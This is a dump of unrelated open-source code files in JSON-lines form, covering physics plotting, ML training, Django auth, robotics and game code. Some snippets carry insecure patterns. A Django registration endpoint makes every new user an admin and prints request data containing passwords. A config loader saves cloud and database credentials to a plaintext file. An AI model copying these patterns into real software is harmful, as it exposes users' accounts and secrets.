#----------------------------------------------------------------------------\n\n # Create canvas\n canvas_distribution = ROOT.TCanvas(\"canvas_distribution\", \"canvas_distribution\", 500, 500) \n canvas_distribution.SetLeftMargin(0.12)\n canvas_distribution.SetBottomMargin(0.12)\n\n canvas_distribution.cd()\n\n # Create plot\n distribution_result = plotter.distribution(\n expression = expression,\n selection = selection,\n extra_labels = extra_labels,\n binning = binning,\n normalize = sample_qcddijet_data.name,\n x_axis_title = x_axis_title,\n y_axis_title = \"Number of Events\",\n y_min = y_min, y_max = y_max, logy = logy\n )\n\n # Adjust offset of y-axis title\n distribution_result['result'].GetYaxis().SetTitleOffset(1.4)\n \n # Draw the legend - you can pass NDC xl, yl, xh, yh coordinates to make_legend(...)\n legend_x1 = 0.60\n legend_y1 = 0.69\n legend_x2 = 0.88\n legend_y2 = 0.88\n distribution_result['legend'].make_legend(legend_x1, legend_y1, legend_x2, legend_y2).Draw()\n\n canvas_distribution.cd()\n canvas_distribution.Update()\n canvas_distribution.SaveAs(\"plots/\" + filename + \".png\")\n canvas_distribution.SaveAs(\"plots/\" + filename + \".pdf\")\n\n canvas_distribution.IsA().Destructor(canvas_distribution)\n\n #----------------------------------------------------------------------------\n # Add plot of (normalized) difference (Data - MC)/MC\n #----------------------------------------------------------------------------\n\n # Create new canvas\n canvas_diff = ROOT.TCanvas(\"canvas_diff\", \"canvas_diff\", 500, 625)\n\n canvas_diff.cd()\n \n topPad_diff = ROOT.TPad(\"topPad_diff\", \"topPad_diff\", 0.00, 0.35, 1.00, 1.00)\n topPad_diff.SetFillColor(10)\n topPad_diff.SetLogy(logy)\n topPad_diff.SetTopMargin(0.05)\n topPad_diff.SetLeftMargin(0.18)\n topPad_diff.SetBottomMargin(0.00)\n topPad_diff.SetRightMargin(0.05)\n topPad_diff.SetGridy()\n topPad_diff.Draw()\n topPad_diff.cd()\n\n distribution_result['result'].Draw(\"nostack\")\n\n # Ommit x-axis title\n distribution_result['result'].GetXaxis().SetTitle(\"\")\n \n distribution_result['result'].GetYaxis().SetTitleSize(0.05) \n distribution_result['result'].GetYaxis().SetLabelSize(0.05)\n \n # Draw the legend - you can pass NDC xl, yl, xh, yh coords to make_legend(...)\n legend_adjusted_coordinates = style.adjust_coordinates(topPad_diff, legend_x1, legend_y1, legend_x2, legend_y2)\n distribution_result['legend'].make_legend(\n legend_adjusted_coordinates['x1'], legend_adjusted_coordinates['y1'],\n legend_adjusted_coordinates['x2'], legend_adjusted_coordinates['y2']).Draw()\n\n # Define temporary disctionary to prevent automatic garbage collection\n to_keep = {}\n\n draw_labels_topPad = style.draw_labels(topPad_diff)\n to_keep[\"1\"] = draw_labels_topPad(jets_DEFAULT_LABELS)\n to_keep[\"2\"] = draw_labels_topPad(extra_labels)\n\n canvas_diff.cd()\n \n bottomPad_diff = ROOT.TPad(\"bottomPad_diff\", \"bottomPad_diff\", 0.00, 0.00, 1.00, 0.35)\n bottomPad_diff.SetFillColor(10)\n bottomPad_diff.SetLogy(False)\n bottomPad_diff.SetTopMargin(0.00)\n bottomPad_diff.SetLeftMargin(0.18)\n bottomPad_diff.SetBottomMargin(0.20)\n bottomPad_diff.SetRightMargin(0.05)\n bottomPad_diff.SetGridy()\n bottomPad_diff.Draw()\n bottomPad_diff.cd()\n\n # Make plot of (normalized) difference (Data - MC)/MC\n diff_result = plotter.plot_dist_deviations(\n distribution_result,\n sample_qcddijet_data.name,\n [ sample_qcddijet_mc.name ],\n x_axis_title = x_axis_title,\n y_axis_title = \"#frac{Data - Simulation}{Simulation}\",\n y_min = -0.28, y_max = +0.28, logy = False\n )\n\n diff_result['background'].GetYaxis().SetNdivisions(505)\n\n diff_result['background'].GetXaxis().SetTitleOffset(1.1)\n diff_result['background'].GetXaxis().SetTitleSize(0.08) \n diff_result['background'].GetXaxis().SetLabelSize(0.08)\n diff_result['background'].GetXaxis().SetTickLength(0.055)\n\n diff_result['background'].GetYaxis().SetTitleOffset(0.9)\n diff_result['background'].GetYaxis().SetTitleSize(0.08) \n diff_result['background'].GetYaxis().SetLabelSize(0.08)\n diff_result['background'].GetYaxis().SetTickLength(0.04)\n\n canvas_diff.cd() \n canvas_diff.Update() \n canvas_diff.SaveAs(\"plots/\" + filename + \"_diff.png\")\n canvas_diff.SaveAs(\"plots/\" + filename + \"_diff.pdf\")\n\n canvas_diff.IsA().Destructor(canvas_diff)\n\nif __name__ == \"__main__\":\n ROOT.gROOT.SetBatch(True)\n\n if not os.path.isdir('plots'):\n os.mkdir('plots')\n\n # Build the plot manager. The plot manager keeps track of all the samples\n # and ensures they are correctly normalized w.r.t. luminosity. See \n # samples.py for available samples.\n plotter = PlotManager()\n\n # Add each sample we want to plot/compare\n plotter.add_sample(sample_qcddijet_mc, \"Simulation\", **style.QCD_MC_STYLE_HIST)\n plotter.add_sample(sample_qcddijet_data, \"Data\", **style.DATA_STYLE)\n\n # Normalize everything to the data luminosity\n plotter.set_integrated_lumi(sample_qcddijet_data.effective_luminosity())\n\n # Build the ntuple manager\n ntuple_manager = sample_qcddijet_data.build_ntuple_manager(\"tauIdEffNtuple\")\n\n # Get HLT trigger decisions\n hlt_ntuple = ntuple_manager.get_ntuple(\"patTriggerEvent\")\n \n ######################################################\n #### Plot PFJet distributions ####\n ######################################################\n\n # Get the (shrinking cone) PFTau ntuple\n pfTau_ntuple = ntuple_manager.get_ntuple(\"patPFTausDijetTagAndProbeShrinkingCone\")\n\n # Basic requirement HLT + Probe object\n pfTau_base_selection = hlt_ntuple.expr('$hltJet30v1bit > 0.5') & pfTau_ntuple.expr('$probeJet30v1 > 0.5')\n\n # Make plots of jetPt, jetEta and jetPhi\n makeJetPlot(\n expression = pfTau_ntuple.expr('$jetPt'),\n selection = pfTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & pfTau_base_selection,\n extra_labels = [ jets_ETA_CUT_LABEL_UPPER_LEFT ],\n binning = (50, 0, 100),\n x_axis_title = \"Jet P_{T} [GeV/c]\",\n y_min = 6.5e-1, y_max = 1.e+8, logy = True,\n filename = \"pfJetPt\"\n )\n\n makeJetPlot(\n expression = pfTau_ntuple.expr('$jetEta'),\n selection = pfTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & pfTau_base_selection,\n extra_labels = [ jets_PT_CUT_LABEL_UPPER_LEFT ],\n binning = (50, -2.5, 2.5),\n x_axis_title = \"Jet #eta\",\n y_min = -4000, y_max = 50000, logy = False,\n filename = \"pfJetEta\"\n )\n\n makeJetPlot(\n expression = pfTau_ntuple.expr('$jetPhi'),\n selection = pfTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & pfTau_base_selection,\n extra_labels = [ jets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT ],\n binning = (50, -3.14, 3.14),\n x_axis_title = \"Jet #phi\",\n y_min = -4000, y_max = 50000, logy = False,\n filename = \"pfJetPhi\"\n )\n\n ######################################################\n #### Plot Calo/JPTJet distributions ####\n ######################################################\n\n # Get the Calo/TCTau ntuple\n caloTau_ntuple = ntuple_manager.get_ntuple(\"patCaloTausDijetTagAndProbe\")\n\n # Basic requirement HLT + Probe object\n caloTau_base_selection = hlt_ntuple.expr('$hltJet30v1bit > 0.5') & caloTau_ntuple.expr('$probeJet30v1 > 0.5')\n\n # Make plots of jetPt, jetEta and jetPhi\n makeJetPlot(\n expression = caloTau_ntuple.expr('$jetPt'),\n selection = caloTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & caloTau_base_selection,\n extra_labels = [ jets_ETA_CUT_LABEL_UPPER_LEFT ],\n binning = (50, 0, 100),\n x_axis_title = \"Jet P_{T} [GeV/c]\",\n y_min = 6.5e-1, y_max = 1.e+8, logy = True,\n filename = \"caloJetPt\"\n )\n\n makeJetPlot(\n expression = caloTau_ntuple.expr('$jetEta'),\n selection = caloTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & caloTau_base_selection,\n extra_labels = [ jets_PT_CUT_LABEL_UPPER_LEFT ],\n binning = (50, -2.5, 2.5),\n x_axis_title = \"Jet #eta\",\n y_min = -4000, y_max = 50000, logy = False,\n filename = \"caloJetEta\"\n )\n\n makeJetPlot(\n expression = caloTau_ntuple.expr('$jetPhi'),\n selection = caloTau_ntuple.expr('$jetPt > 10 && abs($jetEta) < 2.5') & caloTau_base_selection,\n extra_labels = [ jets_PT_ETA_CUT_LABEL_UPPER_LEFT ],\n binning = (50, -3.14, 3.14),\n x_axis_title = \"Jet #phi\",\n y_min = -4000, y_max = 50000, logy = False,\n filename = \"caloJetPhi\"\n )\n","repo_name":"cms-analysis/TauAnalysis-TauIdEfficiency","sub_path":"test/commissioning/jets_for_pas.py","file_name":"jets_for_pas.py","file_ext":"py","file_size_in_byte":11070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40077011624","text":"''' Unsupervised Out-of-distribution Detection Procedure in Pytorch.\n\nReference:\n[Yu et al. ICCV 2019] Unsupervised Out-of-Distribution Detection by Maximum Classifier Discrepancy (https://arxiv.org/abs/1908.04951)\n'''\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Python\nimport random\n\n# Torch\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport torch.optim.lr_scheduler as lr_scheduler\nfrom torch.utils.data.sampler import SubsetRandomSampler\n\n# Torchvison\nfrom torchvision.utils import make_grid\nimport torchvision.transforms as T\nfrom torchvision.datasets import CIFAR10, MNIST\n\n# Utils\nimport visdom\n\n# Custom\nimport backbone.densenet as densenet\nfrom config import *\nfrom data.datasets import UnsupData\nfrom utils import *\n\n\n##\n# Data\ntrain_transform = T.Compose([\n T.RandomHorizontalFlip(),\n T.RandomCrop(size=32, padding=4),\n T.ToTensor(),\n T.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010]) # T.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)) # CIFAR-100\n])\n\ntest_transform = T.Compose([\n T.ToTensor(),\n T.Normalize([0.4914, 0.4822, 0.4465], [0.2023, 0.1994, 0.2010]) # T.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761)) # CIFAR-100\n])\n\ncifar10_train = CIFAR10('../cifar10', train=True, \n download=False, transform=train_transform)\ncifar10_val = CIFAR10('../cifar10', train=False, \n download=False, transform=test_transform)\ncifar10_test = CIFAR10('../cifar10', train=False, \n download=False, transform=test_transform)\n \n#unsup_train = UnsupData(ood='../Imagenet_resize/Imagenet_resize', \n# id='../cifar10', train=True, \n# transform=train_transform)\n#unsup_val = UnsupData(ood='../Imagenet_resize/Imagenet_resize', \n# id='../cifar10', train=False, \n# transform=test_transform)\n# MNIST('../mnist', train=False, download=True) # Download MNIST test data\nunsup_train = UnsupData(ood='../mnist', id='../cifar10', train=True, transform=train_transform)\nunsup_val = UnsupData(ood='../mnist', id='../cifar10', train=False, transform=test_transform)\n\n##\n# Main\nif __name__ == '__main__':\n # Visdom visualizer\n vis = visdom.Visdom(server='http://localhost')\n plot_data = {'X': [], 'Y': [], 'legend': ['Loss']}\n\n # Dataloaders\n indices = list(range(10000))\n random.Random(4).shuffle(indices)\n train_loader = DataLoader(cifar10_train, batch_size=BATCH,\n shuffle=True, pin_memory=True, \n drop_last=True, num_workers=2)\n val_loader = DataLoader(cifar10_val, batch_size=BATCH,\n sampler=SubsetRandomSampler(indices[:NUM_VAL]),\n pin_memory=True, num_workers=2)\n test_loader = DataLoader(cifar10_test, batch_size=BATCH,\n shuffle=SubsetRandomSampler(indices[NUM_VAL:]), \n pin_memory=True, num_workers=2)\n unsup_train_loader = DataLoader(unsup_train, batch_size=BATCH,\n shuffle=True, pin_memory=True, \n drop_last=True, num_workers=2)\n unsup_val_loader = DataLoader(unsup_val, batch_size=BATCH,\n shuffle=False, pin_memory=True, \n num_workers=2)\n dataloaders = {'sup_train': train_loader, \n 'sup_val': val_loader, \n 'sup_test': test_loader, \n 'unsup_train': list(unsup_train_loader), \n 'unsup_val': unsup_val_loader}\n\n # Model\n two_head_net = densenet.densenet_cifar().cuda()\n torch.backends.cudnn.benchmark = True\n\n # Losses\n sup_criterion = nn.CrossEntropyLoss()\n unsup_criterion = DiscrepancyLoss\n criterions = {'sup': sup_criterion, 'unsup': unsup_criterion}\n\n \"\"\" Data visualization\n \"\"\"\n inputs, classes = next(iter(dataloaders['unsup_train']))\n out = make_grid(inputs)\n imshow(out, title='')\n\n \"\"\" Pre-training\n optimizer = optim.SGD(two_head_net.parameters(), lr=LR, \n momentum=MOMENTUM, weight_decay=WDECAY)\n scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=MILESTONES)\n\n train(two_head_net, criterions, optimizer, \n scheduler, dataloaders, EPOCH, vis, plot_data)\n \n acc_1, acc_2 = test(two_head_net, dataloaders, mode='sup_test')\n print('Test acc {}, {}'.format(acc_1, acc_2)) # > 92.5\n\n test3(two_head_net, dataloaders, mode='unsup_train')\n\n # Save a checkpoint\n torch.save({\n 'epoch': EPOCH,\n 'accuracy': (acc_1 + acc_2) / 2,\n 'state_dict': two_head_net.state_dict()\n },\n './ckp_weights/pre-train/weights/two_head_cifar10.pth')\n \"\"\"\n\n \"\"\" Fine-tuning\n \"\"\"\n checkpoint = torch.load('./ckp_weights/pre-train/weights/two_head_cifar10.pth')\n two_head_net.load_state_dict(checkpoint['state_dict'])\n \n optimizer = optim.SGD(two_head_net.parameters(), \n lr=0.001,\n momentum=MOMENTUM, weight_decay=WDECAY)\n # the scheduler is not necessary in the fine-tuning step, but it is made just in case.\n scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=MILESTONES) \n \n fine_tune(two_head_net, criterions, optimizer, \n scheduler, dataloaders, num_epochs=10, vis=vis)\n\n \"\"\" Discrepancy distribution of ID and OOD\n \"\"\"\n checkpoint = torch.load('./ckp_weights/fine-tune/weights/unsup_ckp.pth')\n two_head_net.load_state_dict(checkpoint['state_dict'])\n\n test2(two_head_net, dataloaders, mode='unsup_train')","repo_name":"Mephisto405/Unsupervised-Out-of-Distribution-Detection-by-Maximum-Classifier-Discrepancy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"38"} +{"seq_id":"24454987261","text":"# Operador in e not in\n# in - operador lógico - verifica se um dado valor\n# esta dentro de determinada coleção.\n# Coleções podem ser strings, listas, dicionários e tuplas.\nl = [\"Uva\", \"Manga\", \"Laranja\", \"Goiaba\", \"Maçã\"]\nif \"Goiaba\" in l:\n print(\"Está na lista\")\nelse:\n print(\"Não está na lista\")\n\n\n# not in - o inverso do in.\nl = [\"Python\",\"Ruby\",\"Java\",\"C#\",\"C++\"]\nif \"Php\" not in l:\n print(\"Linguagem não encontrada\")\nelse:\n print(\"Linguagem encontrada\")\n\n\n\n# Outra forma\npalavra = \"Python\"\nif \"a\" in palavra:\n print(\"Letra encontrada\")\nelse:\n print(\"Letra não encontrada\")\n","repo_name":"marcoswebermw/learning-python","sub_path":"treinamentos/treinamento_boson/operador_in_e_not_in.py","file_name":"operador_in_e_not_in.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11525986559","text":"from django.shortcuts import render\nfrom .serializers import UserSerializer, RegisterSerializer, LoginSerializer, RegisterManagerSerializer\nfrom rest_framework import generics, permissions\nfrom rest_framework.response import Response\nfrom knox.models import AuthToken\nfrom django.utils import timezone\n\nclass RegisterAPIView(generics.GenericAPIView):\n serializer_class = RegisterSerializer\n\n def post(self, request, *args, **kwargs):\n request.data.update({\n \"isAdmin\": True\n })\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.save()\n\n return Response({\n \"user\": UserSerializer(user, context=self.get_serializer_context()).data,\n \"token\": AuthToken.objects.create(user)[1]\n })\n\nclass LoginAPIView(generics.GenericAPIView):\n serializer_class = LoginSerializer\n \n def post(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data\n\n return Response({\n \"user\": UserSerializer(user, context=self.get_serializer_context()).data,\n \"token\": AuthToken.objects.create(user)[1]\n })\n\nclass LoadUserAPIVIew(generics.RetrieveAPIView):\n serializer_class = UserSerializer\n permission_classes = [\n permissions.IsAuthenticated,\n ]\n def get_object(self):\n user = self.request.user\n return user\n\nclass RegisterOwnerAPIView(generics.GenericAPIView):\n serializer_class = RegisterManagerSerializer\n\n def post(self, request, *args, **kwargs):\n print(request.data)\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.save()\n\n return Response({\n \"user\": UserSerializer(user, context=self.get_serializer_context()).data,\n \"token\": AuthToken.objects.create(user)[1]\n })\n","repo_name":"emilianocrundall/Eat-Livery","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31564178446","text":"import numpy as np\n\nfrom composuite.arenas.push_arena import PushArena\nfrom composuite.env.compositional_env import CompositionalEnv\n\nfrom robosuite.models.tasks import ManipulationTask\nfrom robosuite.utils.placement_samplers import SequentialCompositeSampler, UniformRandomSampler\n\n\nclass PushSubtask(CompositionalEnv):\n \"\"\"This class corresponds to the lifting task for a single robot arm.\n \"\"\"\n\n def __init__(\n self,\n robots,\n object_type,\n obstacle,\n env_configuration=\"default\",\n controller_configs=None,\n mount_types=\"default\",\n gripper_types=\"RethinkGripper\",\n initialization_noise=None,\n use_camera_obs=True,\n use_object_obs=True,\n use_task_id_obs=False,\n has_renderer=False,\n has_offscreen_renderer=True,\n render_camera=\"frontview\",\n render_collision_mesh=False,\n render_visual_mesh=True,\n render_gpu_device_id=-1,\n control_freq=20,\n horizon=1000,\n ignore_done=True,\n hard_reset=True,\n camera_names=\"agentview\",\n camera_heights=256,\n camera_widths=256,\n camera_depths=False,\n bin1_pos=(0.1, -0.26, 0.8),\n bin2_pos=(0.1, 0.13, 0.8),\n reward_scale=1.0,\n reward_shaping=False,\n ):\n\n self.subtask_id = 1\n super().__init__(\n robots,\n object_type,\n obstacle,\n bin1_pos,\n bin2_pos,\n env_configuration=env_configuration,\n controller_configs=controller_configs,\n mount_types=mount_types,\n gripper_types=gripper_types,\n initialization_noise=initialization_noise,\n use_camera_obs=use_camera_obs,\n use_object_obs=use_object_obs,\n use_task_id_obs=use_task_id_obs,\n has_renderer=has_renderer,\n has_offscreen_renderer=has_offscreen_renderer,\n render_camera=render_camera,\n render_collision_mesh=render_collision_mesh,\n render_visual_mesh=render_visual_mesh,\n render_gpu_device_id=render_gpu_device_id,\n control_freq=control_freq,\n horizon=horizon,\n ignore_done=ignore_done,\n hard_reset=hard_reset,\n camera_names=camera_names,\n camera_heights=camera_heights,\n camera_widths=camera_widths,\n camera_depths=camera_depths,\n reward_scale=reward_scale,\n reward_shaping=reward_shaping,\n )\n\n def staged_rewards(self, action):\n \"\"\"\n Returns staged rewards based on current physical states.\n Stages consist of reaching, grasping and approaching.\n\n Returns:\n - (float) reaching reward\n - (float) grasping reward\n - (float) approach reward\n \"\"\"\n reach_mult = 0.2\n grasp_mult = 0.3\n approach_mult = 0.7\n\n # reaching reward governed by distance to object\n obj_pos = self.sim.data.body_xpos[self.obj_body_id]\n gripper_site_pos = self.sim.data.site_xpos[self.robots[0].eef_site_id]\n dist = np.linalg.norm(gripper_site_pos - obj_pos)\n r_reach = (1 - np.tanh(10.0 * dist)) * reach_mult\n\n # touch reward for grasping the object\n r_grasp = int(self._check_grasp(\n gripper=self.robots[0].gripper,\n object_geoms=[g for g in self.object.contact_geoms])\n ) * grasp_mult\n\n r_approach = 0.\n if r_grasp > 0:\n # approach reward for approaching goal with object\n goal_pos = self.sim.model.body_pos[self.goal_body_id]\n dist = np.linalg.norm(goal_pos - obj_pos)\n r_approach = grasp_mult + \\\n (1 - np.tanh(5. * dist)) * (approach_mult - grasp_mult)\n\n return r_reach, r_grasp, r_approach\n\n def _load_model(self):\n \"\"\"Loads an xml model, puts it in self.model\n \"\"\"\n # Load model propagation\n\n # load model for table top workspace\n self.mujoco_arena = PushArena(\n bin1_pos=self.bin1_pos,\n bin2_pos=self.bin2_pos,\n )\n\n super()._load_model()\n self._initialize_model()\n self._get_placement_initializer()\n\n def _get_placement_initializer(self):\n \"\"\"Helper function for defining placement initializer and object sampling bounds.\n \"\"\"\n super()._get_placement_initializer()\n\n # placement is relative to object bin, so compute difference and send to placement initializer\n self.placement_initializer.append_sampler(\n sampler=UniformRandomSampler(\n name=f\"{self.visual_object.name}ObjectSampler\",\n mujoco_objects=self.visual_object,\n x_range=[0, 0],\n y_range=[0, 0],\n rotation=0.,\n rotation_axis='z',\n ensure_object_boundary_in_range=False,\n ensure_valid_placement=False,\n reference_pos=self.bin2_pos,\n z_offset=0.,\n )\n )\n\n def _setup_references(self):\n \"\"\"Sets up references to important components. A reference is typically an\n index or a list of indices that point to the corresponding elements\n in a flatten array, which is how MuJoCo stores physical simulation data.\n \"\"\"\n\n super()._setup_references()\n\n def _reset_internal(self):\n \"\"\"Resets simulation internal configurations.\n \"\"\"\n super()._reset_internal()\n\n def _check_success(self):\n \"\"\"Check if cube has been lifted.\n\n Returns:\n bool: True if cube has been lifted\n \"\"\"\n obj_xy_pos = self.sim.data.body_xpos[self.obj_body_id][:2]\n goal_xy_pos = self.sim.model.body_pos[self.goal_body_id][:2]\n\n obj_height = self.sim.data.body_xpos[self.obj_body_id][2]\n table_height = self.bin2_pos[2]\n\n return np.linalg.norm(obj_xy_pos - goal_xy_pos) <= 0.03 and obj_height <= table_height + 0.1\n\n def _post_action(self, action):\n \"\"\"\n Do any housekeeping after taking an action.\n\n Args:\n action (np.array): Action to execute within the environment\n\n Returns:\n - (float) reward from the environment\n - (bool) whether the current episode is completed or not\n - (dict) empty dict to be filled with information by subclassed method\n\n \"\"\"\n reward, _, info = super()._post_action(action)\n\n object_height = self.sim.data.body_xpos[self.obj_body_id][2]\n table_height = self.bin2_pos[2]\n\n self.done = object_height - \\\n table_height > 0.1 or (\n (self.timestep >= self.horizon) and not self.ignore_done)\n\n return reward, self.done, info\n","repo_name":"Lifelong-ML/CompoSuite","sub_path":"composuite/tasks/push_subtask.py","file_name":"push_subtask.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"38"} +{"seq_id":"12972773467","text":"import pathlib\nimport re\nimport subprocess\n\nfrom setuptools import find_packages, setup\nfrom setuptools.command.build_py import build_py\n\nhere = pathlib.Path(__file__).parent.parent\nif (here / '.git').exists():\n\t# This branch is happening during build from git version\n\tmodule_dir = (here / 'bspump')\n\n\tversion = subprocess.check_output(\n\t\t['git', 'describe', '--abbrev=7', '--tags', '--dirty=+dirty', '--always'], cwd=module_dir)\n\tversion = version.decode('utf-8').strip()\n\tif version[:1] == 'v':\n\t\tversion = version[1:]\n\n\tbuild = subprocess.check_output(['git', 'rev-parse', 'HEAD'], cwd=module_dir)\n\tbuild = build.decode('utf-8').strip()\n\nelse:\n\t# This is executed from packaged & distributed version\n\ttxt = (here / 'bspump' / '__version__.py').read_text('utf-8')\n\tversion = re.findall(r\"^__version__ = '([^']+)'\\r?$\", txt, re.M)[0]\n\tbuild = re.findall(r\"^__build__ = '([^']+)'\\r?$\", txt, re.M)[0]\n\n\nclass custom_build_py(build_py):\n\n\tdef run(self):\n\t\tsuper().run()\n\n\t\t# This replace content of `__version__.py` in build folder\n\t\tversion_file_name = pathlib.Path(self.build_lib, 'bspump/__version__.py')\n\t\twith open(version_file_name, 'w') as f:\n\t\t\tf.write(\"__version__ = '{}'\\n\".format(version))\n\t\t\tf.write(\"__build__ = '{}'\\n\".format(build))\n\t\t\tf.write(\"\\n\")\n\n\nsetup(\n\tname='bspump-utils',\n\tversion=version,\n\tdescription='BSPump utils for ElasticSearch and Kibana. Tiny subset of BSPump',\n\tlong_description=open('README.rst').read(),\n\turl='https://github.com/LibertyAces/BitSwanPump',\n\tauthor='Liberty Aces Ltd',\n\tauthor_email='info@libertyaces.com',\n\tlicense='BSD-3-Clause',\n\tplatforms='any',\n\tclassifiers=[\n\t\t'Development Status :: 3 - Alpha',\n\t\t'Programming Language :: Python :: 3.6',\n\t\t'Programming Language :: Python :: 3.7',\n\t],\n\tkeywords='asyncio asab bspump',\n\tpackages=find_packages(here / \"utils\"),\n\tproject_urls={\n\t\t'Source': 'https://github.com/LibertyAces/BitSwanPump'\n\t},\n\tinstall_requires=[\n\t\t'Jinja2>=2.10.1,<3.0',\n\t\t'requests>=2.21.0,<3.0',\n\t],\n\tscripts=[\n\t\t'bselastic',\n\t\t'bskibana',\n\t\t'bsintegrity',\n\t],\n\tcmdclass={\n\t\t'build_py': custom_build_py,\n\t},\n)\n","repo_name":"LibertyAces/BitSwanPump","sub_path":"utils/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"38"} +{"seq_id":"8429142731","text":"import json\nimport os\nimport sys\n\ndef log_msg(msg):\n print(\"-\"*60)\n print(msg)\n print(\"-\"*60)\n\n\nclass HeartbeatConfig:\n def __init__(self):\n self.config = {}\n\n def setup(self):\n conf_present = os.path.isfile(\"./heartbeat_conf.json\")\n if conf_present:\n with open(\"./heartbeat_conf.json\", \"r\", encoding=\"utf-8\") as opened_file:\n self.config = json.load(opened_file)\n else:\n log_msg(\"heartbeat_conf.json not found, reading from env...\")\n self.config = self.get_from_env()\n log_msg(\"Read Successful! Dumping to json...\")\n with open(\"./heartbeat_conf.json\", \"w\", encoding=\"utf-8\") as opened_file:\n json.dump(self.config, opened_file)\n\n def get_from_env(self):\n object_storage_type = os.environ.get(\"OS_TYPE\")\n if object_storage_type == \"s3\":\n object_storage_auth = {\n \"aws_access_key_id\": os.environ.get(\"AWS_ACCESS_KEY\"),\n \"aws_secret_access_key\": os.environ.get(\"AWS_SECRET_KEY\"),\n \"region_name\": os.environ.get(\"AWS_REGION\"),\n \"endpoint_url\": os.environ.get(\"ENDPOINT_URL\")\n }\n elif object_storage_type == \"openstack\":\n object_storage_auth = {\n \"authurl\": os.environ.get(\"OS_AUTH_URL\"),\n \"user\": os.environ.get(\"OS_USERNAME\"),\n \"key\": os.environ.get(\"OS_PASSWORD\"),\n \"tenant_name\": os.environ.get(\"OS_TENANT_NAME\"),\n \"auth_version\": '2'\n }\n elif object_storage_type == \"local\":\n object_storage_auth = {}\n else:\n log_msg(\n f\"{object_storage_type} is not a valid Object Storage Option\\\n (found in ENV variables).\")\n sys.exit()\n db_type = os.environ.get(\"DB_TYPE\")\n if db_type == \"mysql\":\n db_auth = {\n \"host\": os.environ.get('DB_HOST'),\n \"database\": os.environ.get('DB_DATABASE'),\n \"user\": os.environ.get('DB_USER'),\n \"password\": os.environ.get('DB_PASSWORD'),\n \"port\": int(os.environ.get(\"DB_PORT\"))\n }\n else:\n log_msg(\n f\"{db_type} is not a valid Database Option (found in ENV variables).\")\n sys.exit()\n\n celery_aws_key = os.environ.get('CELERY_AWS_KEY')\n celery_aws_secret = os.environ.get('CELERY_AWS_SECRET')\n celery_queue_name = os.environ.get('CELERY_QUEUE_NAME')\n celery_queue_url = os.environ.get('CELERY_QUEUE_URL')\n celery_aws_type = os.environ.get('CELERY_AWS_TYPE')\n hostname = os.environ.get('HEARTBEAT_HOSTNAME')\n config = {\n \"object_storage_type\": object_storage_type,\n \"object_storage_auth\": object_storage_auth,\n \"db_type\": db_type,\n \"db_auth\": db_auth,\n \"celery_broker_url\": os.environ.get(\"CELERY_BROKER_URL\"),\n \"celery_aws_key\": celery_aws_key,\n \"celery_aws_secret\": celery_aws_secret,\n \"celery_queue_name\": celery_queue_name,\n \"celery_queue_url\": celery_queue_url,\n \"celery_aws_type\": celery_aws_type,\n \"hostname\": hostname\n }\n\n return config\n","repo_name":"mowoe/heartbeat","sub_path":"read_config.py","file_name":"read_config.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"20270538866","text":"from pygame.transform import rotozoom\nfrom Scripts.Attack.UnderAttackInterface import UnderAttackInterface\nfrom Scripts.Attack.AttackParam import AttackParam\n\nfrom Scripts.AudioManager.AudioManager import AudioManger\nfrom Scripts.VFXManager.VFXManager import VFXManager\n\nfrom Scripts.Physics.Collision import Collision\nfrom Scripts.Physics.Physics import Physics\nfrom Scripts.Physics.Box import Box\n\nfrom Scripts.Animation.Animator import Animator\nfrom Scripts.Graphic.Render.SpriteRender import SpriteRender\nfrom Scripts.Graphic.Image import Image\nfrom Scripts.Graphic.RenderManager import RenderManager\n\nfrom Scripts.Character.Character import Character\nfrom Scripts.Locals import Face, ForceMode, SFXID, Tag, VFXID\nfrom random import random\nfrom pygame.image import load\nfrom pygame import Surface, Vector2, Vector3\n\n\nclass Hero(Character):\n\n def __init__(self):\n super().__init__()\n\n sword_flash_source = load(\n r\"Arts\\Character\\sword_flash.png\").convert_alpha()\n self.max_hp = 20\n self.jump_force = 2500\n self.dash_force = 1000\n self.move_speed = 1728\n\n self.face = Face.right\n self.can_jump_since_exit_ground_time = 0.5\n self.can_jump_before_enter_ground_time = 0.05\n\n # TODO 完成武器類別\n self.sword_damage = 3\n self.sword_force = Vector3(1000, 1200, 0)\n self.sword_flash_image1 = Image(sword_flash_source, Vector2(45, 44))\n self.sword_flash_image2 = Image(rotozoom(sword_flash_source,0,1.3), Vector2(58.5, 